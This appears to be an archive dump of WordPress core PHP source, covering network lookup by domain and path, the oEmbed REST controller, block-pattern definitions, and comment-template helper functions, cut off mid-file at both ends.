$this->site_name = get_network_option( $this->id, 'site_name', $default ); } /** * Set the cookie domain based on the network domain if one has * not been populated. * * @todo What if the domain of the network doesn't match the current site? * * @since 4.4.0 */ private function _set_cookie_domain() { if ( ! empty( $this->cookie_domain ) ) { return; } $this->cookie_domain = $this->domain; if ( 'www.' === substr( $this->cookie_domain, 0, 4 ) ) { $this->cookie_domain = substr( $this->cookie_domain, 4 ); } } /** * Retrieve the closest matching network for a domain and path. * * This will not necessarily return an exact match for a domain and path. Instead, it * breaks the domain and path into pieces that are then used to match the closest * possibility from a query. * * The intent of this method is to match a network during bootstrap for a * requested site address. * * @since 4.4.0 * * @param string $domain Domain to check. * @param string $path Path to check. * @param int|null $segments Path segments to use. Defaults to null, or the full path. * @return WP_Network|false Network object if successful. False when no network is found. */ public static function get_by_path( $domain = '', $path = '', $segments = null ) { $domains = array( $domain ); $pieces = explode( '.', $domain ); /* * It's possible one domain to search is 'com', but it might as well * be 'localhost' or some other locally mapped domain. */ while ( array_shift( $pieces ) ) { if ( ! empty( $pieces ) ) { $domains[] = implode( '.', $pieces ); } } /* * If we've gotten to this function during normal execution, there is * more than one network installed. At this point, who knows how many * we have. Attempt to optimize for the situation where networks are * only domains, thus meaning paths never need to be considered. * * This is a very basic optimization; anything further could have * drawbacks depending on the setup, so this is best done per-installation. */ $using_paths = true; if ( wp_using_ext_object_cache() ) { $using_paths = get_networks( array( 'number' => 1, 'count' => true, 'path__not_in' => '/', ) ); } $paths = array(); if ( $using_paths ) { $path_segments = array_filter( explode( '/', trim( $path, '/' ) ) ); /** * Filters the number of path segments to consider when searching for a site. * * @since 3.9.0 * * @param int|null $segments The number of path segments to consider. WordPress by default looks at * one path segment. The function default of null only makes sense when you * know the requested path should match a network. * @param string $domain The requested domain. * @param string $path The requested path, in full. */ $segments = apply_filters( 'network_by_path_segments_count', $segments, $domain, $path ); if ( ( null !== $segments ) && count( $path_segments ) > $segments ) { $path_segments = array_slice( $path_segments, 0, $segments ); } while ( count( $path_segments ) ) { $paths[] = '/' . implode( '/', $path_segments ) . '/'; array_pop( $path_segments ); } $paths[] = '/'; } /** * Determine a network by its domain and path. * * This allows one to short-circuit the default logic, perhaps by * replacing it with a routine that is more optimal for your setup. * * Return null to avoid the short-circuit. Return false if no network * can be found at the requested domain and path. Otherwise, return * an object from wp_get_network(). * * @since 3.9.0 * * @param null|false|WP_Network $network Network value to return by path. Default null * to continue retrieving the network. * @param string $domain The requested domain. * @param string $path The requested path, in full. * @param int|null $segments The suggested number of paths to consult. * Default null, meaning the entire path was to be consulted. * @param string[] $paths Array of paths to search for, based on `$path` and `$segments`. */ $pre = apply_filters( 'pre_get_network_by_path', null, $domain, $path, $segments, $paths ); if ( null !== $pre ) { return $pre; } if ( ! $using_paths ) { $networks = get_networks( array( 'number' => 1, 'orderby' => array( 'domain_length' => 'DESC', ), 'domain__in' => $domains, ) ); if ( ! empty( $networks ) ) { return array_shift( $networks ); } return false; } $networks = get_networks( array( 'orderby' => array( 'domain_length' => 'DESC', 'path_length' => 'DESC', ), 'domain__in' => $domains, 'path__in' => $paths, ) ); /* * Domains are sorted by length of domain, then by length of path. * The domain must match for the path to be considered. Otherwise, * a network with the path of / will suffice. */ $found = false; foreach ( $networks as $network ) { if ( ( $network->domain === $domain ) || ( "www.{$network->domain}" === $domain ) ) { if ( in_array( $network->path, $paths, true ) ) { $found = true; break; } } if ( '/' === $network->path ) { $found = true; break; } } if ( true === $found ) { return $network; } return false; } } class-wp-oembed-controller.php000064400000015253147177035020012434 0ustar00 WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => '__return_true', 'args' => array( 'url' => array( 'description' => __( 'The URL of the resource for which to fetch oEmbed data.' ), 'required' => true, 'type' => 'string', 'format' => 'uri', ), 'format' => array( 'default' => 'json', 'sanitize_callback' => 'wp_oembed_ensure_format', ), 'maxwidth' => array( 'default' => $maxwidth, 'sanitize_callback' => 'absint', ), ), ), ) ); register_rest_route( 'oembed/1.0', '/proxy', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_proxy_item' ), 'permission_callback' => array( $this, 'get_proxy_item_permissions_check' ), 'args' => array( 'url' => array( 'description' => __( 'The URL of the resource for which to fetch oEmbed data.' ), 'required' => true, 'type' => 'string', 'format' => 'uri', ), 'format' => array( 'description' => __( 'The oEmbed format to use.' ), 'type' => 'string', 'default' => 'json', 'enum' => array( 'json', 'xml', ), ), 'maxwidth' => array( 'description' => __( 'The maximum width of the embed frame in pixels.' ), 'type' => 'integer', 'default' => $maxwidth, 'sanitize_callback' => 'absint', ), 'maxheight' => array( 'description' => __( 'The maximum height of the embed frame in pixels.' ), 'type' => 'integer', 'sanitize_callback' => 'absint', ), 'discover' => array( 'description' => __( 'Whether to perform an oEmbed discovery request for unsanctioned providers.' ), 'type' => 'boolean', 'default' => true, ), ), ), ) ); } /** * Callback for the embed API endpoint. * * Returns the JSON object for the post. * * @since 4.4.0 * * @param WP_REST_Request $request Full data about the request. * @return array|WP_Error oEmbed response data or WP_Error on failure. */ public function get_item( $request ) { $post_id = url_to_postid( $request['url'] ); /** * Filters the determined post ID. * * @since 4.4.0 * * @param int $post_id The post ID. * @param string $url The requested URL. */ $post_id = apply_filters( 'oembed_request_post_id', $post_id, $request['url'] ); $data = get_oembed_response_data( $post_id, $request['maxwidth'] ); if ( ! $data ) { return new WP_Error( 'oembed_invalid_url', get_status_header_desc( 404 ), array( 'status' => 404 ) ); } return $data; } /** * Checks if current user can make a proxy oEmbed request. * * @since 4.8.0 * * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_proxy_item_permissions_check() { if ( ! current_user_can( 'edit_posts' ) ) { return new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to make proxied oEmbed requests.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Callback for the proxy API endpoint. * * Returns the JSON object for the proxied item. * * @since 4.8.0 * * @see WP_oEmbed::get_html() * @global WP_Embed $wp_embed * * @param WP_REST_Request $request Full data about the request. * @return object|WP_Error oEmbed response data or WP_Error on failure. */ public function get_proxy_item( $request ) { global $wp_embed; $args = $request->get_params(); // Serve oEmbed data from cache if set. unset( $args['_wpnonce'] ); $cache_key = 'oembed_' . md5( serialize( $args ) ); $data = get_transient( $cache_key ); if ( ! empty( $data ) ) { return $data; } $url = $request['url']; unset( $args['url'] ); // Copy maxwidth/maxheight to width/height since WP_oEmbed::fetch() uses these arg names. if ( isset( $args['maxwidth'] ) ) { $args['width'] = $args['maxwidth']; } if ( isset( $args['maxheight'] ) ) { $args['height'] = $args['maxheight']; } // Short-circuit process for URLs belonging to the current site. $data = get_oembed_response_data_for_url( $url, $args ); if ( $data ) { return $data; } $data = _wp_oembed_get_object()->get_data( $url, $args ); if ( false === $data ) { // Try using a classic embed, instead. /* @var WP_Embed $wp_embed */ $html = $wp_embed->get_embed_handler_html( $args, $url ); if ( $html ) { global $wp_scripts; // Check if any scripts were enqueued by the shortcode, and include them in the response. $enqueued_scripts = array(); foreach ( $wp_scripts->queue as $script ) { $enqueued_scripts[] = $wp_scripts->registered[ $script ]->src; } return (object) array( 'provider_name' => __( 'Embed Handler' ), 'html' => $html, 'scripts' => $enqueued_scripts, ); } return new WP_Error( 'oembed_invalid_url', get_status_header_desc( 404 ), array( 'status' => 404 ) ); } /** This filter is documented in wp-includes/class-wp-oembed.php */ $data->html = apply_filters( 'oembed_result', _wp_oembed_get_object()->data2html( (object) $data, $url ), $url, $args ); /** * Filters the oEmbed TTL value (time to live). * * Similar to the {@see 'oembed_ttl'} filter, but for the REST API * oEmbed proxy endpoint. * * @since 4.8.0 * * @param int $time Time to live (in seconds). * @param string $url The attempted embed URL. * @param array $args An array of embed request arguments. */ $ttl = apply_filters( 'rest_oembed_ttl', DAY_IN_SECONDS, $url, $args ); set_transient( $cache_key, $data, $ttl ); return $data; } } block-patterns/query-standard-posts.php000064400000001450147177035020014324 0ustar00 _x( 'Standard', 'Block pattern title' ), 'blockTypes' => array( 'core/query' ), 'categories' => array( 'query' ), 'content' => '

    ', ); block-patterns/query-offset-posts.php000064400000003724147177035020014020 0ustar00 _x( 'Offset', 'Block pattern title' ), 'blockTypes' => array( 'core/query' ), 'categories' => array( 'query' ), 'content' => '
    ', ); block-patterns/query-grid-posts.php000064400000001714147177035020013454 0ustar00 _x( 'Grid', 'Block pattern title' ), 'blockTypes' => array( 'core/query' ), 'categories' => array( 'query' ), 'content' => '
    ', ); block-patterns/social-links-shared-background-color.php000064400000001513147177035020017300 0ustar00 _x( 'Social links with a shared background color', 'Block pattern title' ), 'categories' => array( 'buttons' ), 'blockTypes' => array( 'core/social-links' ), 'viewportWidth' => 500, 'content' => ' ', ); block-patterns/query-large-title-posts.php000064400000003703147177035020014740 0ustar00 _x( 'Large title', 'Block pattern title' ), 'blockTypes' => array( 'core/query' ), 'categories' => array( 'query' ), 'content' => '

    ', ); block-patterns/query-small-posts.php000064400000002230147177035020013631 0ustar00 _x( 'Small image and title', 'Block pattern title' ), 'blockTypes' => array( 'core/query' ), 'categories' => array( 'query' ), 'content' => '
    ', ); block-patterns/query-medium-posts.php000064400000002035147177035020014004 0ustar00 _x( 'Image at left', 'Block pattern title' ), 'blockTypes' => array( 'core/query' ), 'categories' => array( 'query' ), 'content' => '
    ', ); comment-template.php000064400000274046147177035020010553 0ustar00comment_ID ) ? $comment->comment_ID : $comment_ID; if ( empty( $comment->comment_author ) ) { $user = ! empty( $comment->user_id ) ? get_userdata( $comment->user_id ) : false; if ( $user ) { $author = $user->display_name; } else { $author = __( 'Anonymous' ); } } else { $author = $comment->comment_author; } /** * Filters the returned comment author name. * * @since 1.5.0 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added. * * @param string $author The comment author's username. * @param string $comment_ID The comment ID as a numeric string. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_author', $author, $comment_ID, $comment ); } /** * Displays the author of the current comment. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author. * Default current comment. */ function comment_author( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $author = get_comment_author( $comment ); /** * Filters the comment author's name for display. * * @since 1.2.0 * @since 4.1.0 The `$comment_ID` parameter was added. * * @param string $author The comment author's username. * @param string $comment_ID The comment ID as a numeric string. */ echo apply_filters( 'comment_author', $author, $comment->comment_ID ); } /** * Retrieves the email of the author of the current comment. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to get the author's email. * Default current comment. * @return string The current comment author's email */ function get_comment_author_email( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); /** * Filters the comment author's returned email address. * * @since 1.5.0 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added. * * @param string $comment_author_email The comment author's email address. * @param string $comment_ID The comment ID as a numeric string. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_author_email', $comment->comment_author_email, $comment->comment_ID, $comment ); } /** * Displays the email of the author of the current global $comment. * * Care should be taken to protect the email address and assure that email * harvesters do not capture your commenter's email address. Most assume that * their email address will not appear in raw form on the site. Doing so will * enable anyone, including those that people don't want to get the email * address and use it for their own means good and bad. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author's email. * Default current comment. */ function comment_author_email( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $author_email = get_comment_author_email( $comment ); /** * Filters the comment author's email for display. * * @since 1.2.0 * @since 4.1.0 The `$comment_ID` parameter was added. * * @param string $author_email The comment author's email address. * @param string $comment_ID The comment ID as a numeric string. */ echo apply_filters( 'author_email', $author_email, $comment->comment_ID ); } /** * Displays the HTML email link to the author of the current comment. * * Care should be taken to protect the email address and assure that email * harvesters do not capture your commenter's email address. Most assume that * their email address will not appear in raw form on the site. Doing so will * enable anyone, including those that people don't want to get the email * address and use it for their own means good and bad. * * @since 0.71 * @since 4.6.0 Added the `$comment` parameter. * * @param string $linktext Optional. Text to display instead of the comment author's email address. * Default empty. * @param string $before Optional. Text or HTML to display before the email link. Default empty. * @param string $after Optional. Text or HTML to display after the email link. Default empty. * @param int|WP_Comment $comment Optional. Comment ID or WP_Comment object. Default is the current comment. */ function comment_author_email_link( $linktext = '', $before = '', $after = '', $comment = null ) { $link = get_comment_author_email_link( $linktext, $before, $after, $comment ); if ( $link ) { echo $link; } } /** * Returns the HTML email link to the author of the current comment. * * Care should be taken to protect the email address and assure that email * harvesters do not capture your commenter's email address. Most assume that * their email address will not appear in raw form on the site. Doing so will * enable anyone, including those that people don't want to get the email * address and use it for their own means good and bad. * * @since 2.7.0 * @since 4.6.0 Added the `$comment` parameter. * * @param string $linktext Optional. Text to display instead of the comment author's email address. * Default empty. * @param string $before Optional. Text or HTML to display before the email link. Default empty. * @param string $after Optional. Text or HTML to display after the email link. Default empty. * @param int|WP_Comment $comment Optional. Comment ID or WP_Comment object. Default is the current comment. * @return string HTML markup for the comment author email link. By default, the email address is obfuscated * via the {@see 'comment_email'} filter with antispambot(). */ function get_comment_author_email_link( $linktext = '', $before = '', $after = '', $comment = null ) { $comment = get_comment( $comment ); /** * Filters the comment author's email for display. * * Care should be taken to protect the email address and assure that email * harvesters do not capture your commenter's email address. * * @since 1.2.0 * @since 4.1.0 The `$comment` parameter was added. * * @param string $comment_author_email The comment author's email address. * @param WP_Comment $comment The comment object. */ $email = apply_filters( 'comment_email', $comment->comment_author_email, $comment ); if ( ( ! empty( $email ) ) && ( '@' !== $email ) ) { $display = ( '' !== $linktext ) ? $linktext : $email; $return = $before; $return .= sprintf( '%2$s', esc_url( 'mailto:' . $email ), esc_html( $display ) ); $return .= $after; return $return; } else { return ''; } } /** * Retrieves the HTML link to the URL of the author of the current comment. * * Both get_comment_author_url() and get_comment_author() rely on get_comment(), * which falls back to the global comment variable if the $comment_ID argument is empty. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to get the author's link. * Default current comment. * @return string The comment author name or HTML link for author's URL. */ function get_comment_author_link( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $url = get_comment_author_url( $comment ); $author = get_comment_author( $comment ); if ( empty( $url ) || 'http://' === $url ) { $return = $author; } else { $return = "$author"; } /** * Filters the comment author's link for display. * * @since 1.5.0 * @since 4.1.0 The `$author` and `$comment_ID` parameters were added. * * @param string $return The HTML-formatted comment author link. * Empty for an invalid URL. * @param string $author The comment author's username. * @param string $comment_ID The comment ID as a numeric string. */ return apply_filters( 'get_comment_author_link', $return, $author, $comment->comment_ID ); } /** * Displays the HTML link to the URL of the author of the current comment. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author's link. * Default current comment. */ function comment_author_link( $comment_ID = 0 ) { echo get_comment_author_link( $comment_ID ); } /** * Retrieves the IP address of the author of the current comment. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to get the author's IP address. * Default current comment. * @return string Comment author's IP address, or an empty string if it's not available. */ function get_comment_author_IP( $comment_ID = 0 ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid $comment = get_comment( $comment_ID ); /** * Filters the comment author's returned IP address. * * @since 1.5.0 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added. * * @param string $comment_author_IP The comment author's IP address, or an empty string if it's not available. * @param string $comment_ID The comment ID as a numeric string. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_author_IP', $comment->comment_author_IP, $comment->comment_ID, $comment ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase } /** * Displays the IP address of the author of the current comment. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author's IP address. * Default current comment. */ function comment_author_IP( $comment_ID = 0 ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid echo esc_html( get_comment_author_IP( $comment_ID ) ); } /** * Retrieves the URL of the author of the current comment, not linked. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to get the author's URL. * Default current comment. * @return string Comment author URL, if provided, an empty string otherwise. */ function get_comment_author_url( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $url = ''; $id = 0; if ( ! empty( $comment ) ) { $author_url = ( 'http://' === $comment->comment_author_url ) ? '' : $comment->comment_author_url; $url = esc_url( $author_url, array( 'http', 'https' ) ); $id = $comment->comment_ID; } /** * Filters the comment author's URL. * * @since 1.5.0 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added. * * @param string $url The comment author's URL, or an empty string. * @param string|int $comment_ID The comment ID as a numeric string, or 0 if not found. * @param WP_Comment|null $comment The comment object, or null if not found. */ return apply_filters( 'get_comment_author_url', $url, $id, $comment ); } /** * Displays the URL of the author of the current comment, not linked. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author's URL. * Default current comment. */ function comment_author_url( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $author_url = get_comment_author_url( $comment ); /** * Filters the comment author's URL for display. * * @since 1.2.0 * @since 4.1.0 The `$comment_ID` parameter was added. * * @param string $author_url The comment author's URL. * @param string $comment_ID The comment ID as a numeric string. */ echo apply_filters( 'comment_url', $author_url, $comment->comment_ID ); } /** * Retrieves the HTML link of the URL of the author of the current comment. * * $linktext parameter is only used if the URL does not exist for the comment * author. If the URL does exist then the URL will be used and the $linktext * will be ignored. * * Encapsulate the HTML link between the $before and $after. So it will appear * in the order of $before, link, and finally $after. * * @since 1.5.0 * @since 4.6.0 Added the `$comment` parameter. * * @param string $linktext Optional. The text to display instead of the comment * author's email address. Default empty. * @param string $before Optional. The text or HTML to display before the email link. * Default empty. * @param string $after Optional. The text or HTML to display after the email link. * Default empty. * @param int|WP_Comment $comment Optional. Comment ID or WP_Comment object. * Default is the current comment. * @return string The HTML link between the $before and $after parameters. */ function get_comment_author_url_link( $linktext = '', $before = '', $after = '', $comment = 0 ) { $url = get_comment_author_url( $comment ); $display = ( '' !== $linktext ) ? $linktext : $url; $display = str_replace( 'http://www.', '', $display ); $display = str_replace( 'http://', '', $display ); if ( '/' === substr( $display, -1 ) ) { $display = substr( $display, 0, -1 ); } $return = "$before$display$after"; /** * Filters the comment author's returned URL link. * * @since 1.5.0 * * @param string $return The HTML-formatted comment author URL link. */ return apply_filters( 'get_comment_author_url_link', $return ); } /** * Displays the HTML link of the URL of the author of the current comment. * * @since 0.71 * @since 4.6.0 Added the `$comment` parameter. * * @param string $linktext Optional. Text to display instead of the comment author's * email address. Default empty. * @param string $before Optional. Text or HTML to display before the email link. * Default empty. * @param string $after Optional. Text or HTML to display after the email link. * Default empty. * @param int|WP_Comment $comment Optional. Comment ID or WP_Comment object. * Default is the current comment. */ function comment_author_url_link( $linktext = '', $before = '', $after = '', $comment = 0 ) { echo get_comment_author_url_link( $linktext, $before, $after, $comment ); } /** * Generates semantic classes for each comment element. * * @since 2.7.0 * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object. * * @param string|string[] $css_class Optional. One or more classes to add to the class list. * Default empty. * @param int|WP_Comment $comment Comment ID or WP_Comment object. Default current comment. * @param int|WP_Post $post_id Post ID or WP_Post object. Default current post. * @param bool $display Optional. Whether to print or return the output. * Default true. * @return void|string Void if `$display` argument is true, comment classes if `$display` is false. */ function comment_class( $css_class = '', $comment = null, $post_id = null, $display = true ) { // Separates classes with a single space, collates classes for comment DIV. $css_class = 'class="' . implode( ' ', get_comment_class( $css_class, $comment, $post_id ) ) . '"'; if ( $display ) { echo $css_class; } else { return $css_class; } } /** * Returns the classes for the comment div as an array. * * @since 2.7.0 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object. * * @global int $comment_alt * @global int $comment_depth * @global int $comment_thread_alt * * @param string|string[] $css_class Optional. One or more classes to add to the class list. Default empty. * @param int|WP_Comment $comment_id Comment ID or WP_Comment object. Default current comment. * @param int|WP_Post $post_id Post ID or WP_Post object. Default current post. * @return string[] An array of classes. */ function get_comment_class( $css_class = '', $comment_id = null, $post_id = null ) { global $comment_alt, $comment_depth, $comment_thread_alt; $classes = array(); $comment = get_comment( $comment_id ); if ( ! $comment ) { return $classes; } // Get the comment type (comment, trackback). $classes[] = ( empty( $comment->comment_type ) ) ? 'comment' : $comment->comment_type; // Add classes for comment authors that are registered users. $user = $comment->user_id ? get_userdata( $comment->user_id ) : false; if ( $user ) { $classes[] = 'byuser'; $classes[] = 'comment-author-' . sanitize_html_class( $user->user_nicename, $comment->user_id ); // For comment authors who are the author of the post. $post = get_post( $post_id ); if ( $post ) { if ( $comment->user_id === $post->post_author ) { $classes[] = 'bypostauthor'; } } } if ( empty( $comment_alt ) ) { $comment_alt = 0; } if ( empty( $comment_depth ) ) { $comment_depth = 1; } if ( empty( $comment_thread_alt ) ) { $comment_thread_alt = 0; } if ( $comment_alt % 2 ) { $classes[] = 'odd'; $classes[] = 'alt'; } else { $classes[] = 'even'; } $comment_alt++; // Alt for top-level comments. if ( 1 == $comment_depth ) { if ( $comment_thread_alt % 2 ) { $classes[] = 'thread-odd'; $classes[] = 'thread-alt'; } else { $classes[] = 'thread-even'; } $comment_thread_alt++; } $classes[] = "depth-$comment_depth"; if ( ! empty( $css_class ) ) { if ( ! is_array( $css_class ) ) { $css_class = preg_split( '#\s+#', $css_class ); } $classes = array_merge( $classes, $css_class ); } $classes = array_map( 'esc_attr', $classes ); /** * Filters the returned CSS classes for the current comment. * * @since 2.7.0 * * @param string[] $classes An array of comment classes. * @param string[] $css_class An array of additional classes added to the list. * @param string $comment_id The comment ID as a numeric string. * @param WP_Comment $comment The comment object. * @param int|WP_Post $post_id The post ID or WP_Post object. */ return apply_filters( 'comment_class', $classes, $css_class, $comment->comment_ID, $comment, $post_id ); } /** * Retrieves the comment date of the current comment. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param string $format Optional. PHP date format. Defaults to the 'date_format' option. * @param int|WP_Comment $comment_ID WP_Comment or ID of the comment for which to get the date. * Default current comment. * @return string The comment's date. */ function get_comment_date( $format = '', $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $_format = ! empty( $format ) ? $format : get_option( 'date_format' ); $date = mysql2date( $_format, $comment->comment_date ); /** * Filters the returned comment date. * * @since 1.5.0 * * @param string|int $date Formatted date string or Unix timestamp. * @param string $format PHP date format. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_date', $date, $format, $comment ); } /** * Displays the comment date of the current comment. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param string $format Optional. PHP date format. Defaults to the 'date_format' option. * @param int|WP_Comment $comment_ID WP_Comment or ID of the comment for which to print the date. * Default current comment. */ function comment_date( $format = '', $comment_ID = 0 ) { echo get_comment_date( $format, $comment_ID ); } /** * Retrieves the excerpt of the given comment. * * Returns a maximum of 20 words with an ellipsis appended if necessary. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID WP_Comment or ID of the comment for which to get the excerpt. * Default current comment. * @return string The possibly truncated comment excerpt. */ function get_comment_excerpt( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); if ( ! post_password_required( $comment->comment_post_ID ) ) { $comment_text = strip_tags( str_replace( array( "\n", "\r" ), ' ', $comment->comment_content ) ); } else { $comment_text = __( 'Password protected' ); } /* translators: Maximum number of words used in a comment excerpt. */ $comment_excerpt_length = (int) _x( '20', 'comment_excerpt_length' ); /** * Filters the maximum number of words used in the comment excerpt. * * @since 4.4.0 * * @param int $comment_excerpt_length The amount of words you want to display in the comment excerpt. */ $comment_excerpt_length = apply_filters( 'comment_excerpt_length', $comment_excerpt_length ); $excerpt = wp_trim_words( $comment_text, $comment_excerpt_length, '…' ); /** * Filters the retrieved comment excerpt. * * @since 1.5.0 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added. * * @param string $excerpt The comment excerpt text. * @param string $comment_ID The comment ID as a numeric string. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_excerpt', $excerpt, $comment->comment_ID, $comment ); } /** * Displays the excerpt of the current comment. * * @since 1.2.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID WP_Comment or ID of the comment for which to print the excerpt. * Default current comment. */ function comment_excerpt( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $comment_excerpt = get_comment_excerpt( $comment ); /** * Filters the comment excerpt for display. * * @since 1.2.0 * @since 4.1.0 The `$comment_ID` parameter was added. * * @param string $comment_excerpt The comment excerpt text. * @param string $comment_ID The comment ID as a numeric string. */ echo apply_filters( 'comment_excerpt', $comment_excerpt, $comment->comment_ID ); } /** * Retrieves the comment ID of the current comment. * * @since 1.5.0 * * @return string The comment ID as a numeric string. */ function get_comment_ID() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid $comment = get_comment(); $comment_ID = ! empty( $comment->comment_ID ) ? $comment->comment_ID : '0'; /** * Filters the returned comment ID. * * @since 1.5.0 * @since 4.1.0 The `$comment` parameter was added. * * @param string $comment_ID The current comment ID as a numeric string. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_ID', $comment_ID, $comment ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase } /** * Displays the comment ID of the current comment. * * @since 0.71 */ function comment_ID() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid echo get_comment_ID(); } /** * Retrieves the link to a given comment. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object. Added `$cpage` argument. * * @see get_page_of_comment() * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global bool $in_comment_loop * * @param WP_Comment|int|null $comment Comment to retrieve. Default current comment. * @param array $args { * An array of optional arguments to override the defaults. * * @type string $type Passed to get_page_of_comment(). * @type int $page Current page of comments, for calculating comment pagination. * @type int $per_page Per-page value for comment pagination. * @type int $max_depth Passed to get_page_of_comment(). * @type int|string $cpage Value to use for the comment's "comment-page" or "cpage" value. * If provided, this value overrides any value calculated from `$page` * and `$per_page`. * } * @return string The permalink to the given comment. */ function get_comment_link( $comment = null, $args = array() ) { global $wp_rewrite, $in_comment_loop; $comment = get_comment( $comment ); // Back-compat. if ( ! is_array( $args ) ) { $args = array( 'page' => $args ); } $defaults = array( 'type' => 'all', 'page' => '', 'per_page' => '', 'max_depth' => '', 'cpage' => null, ); $args = wp_parse_args( $args, $defaults ); $link = get_permalink( $comment->comment_post_ID ); // The 'cpage' param takes precedence. if ( ! is_null( $args['cpage'] ) ) { $cpage = $args['cpage']; // No 'cpage' is provided, so we calculate one. } else { if ( '' === $args['per_page'] && get_option( 'page_comments' ) ) { $args['per_page'] = get_option( 'comments_per_page' ); } if ( empty( $args['per_page'] ) ) { $args['per_page'] = 0; $args['page'] = 0; } $cpage = $args['page']; if ( '' == $cpage ) { if ( ! empty( $in_comment_loop ) ) { $cpage = get_query_var( 'cpage' ); } else { // Requires a database hit, so we only do it when we can't figure out from context. $cpage = get_page_of_comment( $comment->comment_ID, $args ); } } /* * If the default page displays the oldest comments, the permalinks for comments on the default page * do not need a 'cpage' query var. */ if ( 'oldest' === get_option( 'default_comments_page' ) && 1 === $cpage ) { $cpage = ''; } } if ( $cpage && get_option( 'page_comments' ) ) { if ( $wp_rewrite->using_permalinks() ) { if ( $cpage ) { $link = trailingslashit( $link ) . $wp_rewrite->comments_pagination_base . '-' . $cpage; } $link = user_trailingslashit( $link, 'comment' ); } elseif ( $cpage ) { $link = add_query_arg( 'cpage', $cpage, $link ); } } if ( $wp_rewrite->using_permalinks() ) { $link = user_trailingslashit( $link, 'comment' ); } $link = $link . '#comment-' . $comment->comment_ID; /** * Filters the returned single comment permalink. * * @since 2.8.0 * @since 4.4.0 Added the `$cpage` parameter. * * @see get_page_of_comment() * * @param string $link The comment permalink with '#comment-$id' appended. * @param WP_Comment $comment The current comment object. * @param array $args An array of arguments to override the defaults. * @param int $cpage The calculated 'cpage' value. */ return apply_filters( 'get_comment_link', $link, $comment, $args, $cpage ); } /** * Retrieves the link to the current post comments. * * @since 1.5.0 * * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global $post. * @return string The link to the comments. */ function get_comments_link( $post_id = 0 ) { $hash = get_comments_number( $post_id ) ? '#comments' : '#respond'; $comments_link = get_permalink( $post_id ) . $hash; /** * Filters the returned post comments permalink. * * @since 3.6.0 * * @param string $comments_link Post comments permalink with '#comments' appended. * @param int|WP_Post $post_id Post ID or WP_Post object. */ return apply_filters( 'get_comments_link', $comments_link, $post_id ); } /** * Displays the link to the current post comments. * * @since 0.71 * * @param string $deprecated Not Used. * @param string $deprecated_2 Not Used. */ function comments_link( $deprecated = '', $deprecated_2 = '' ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( 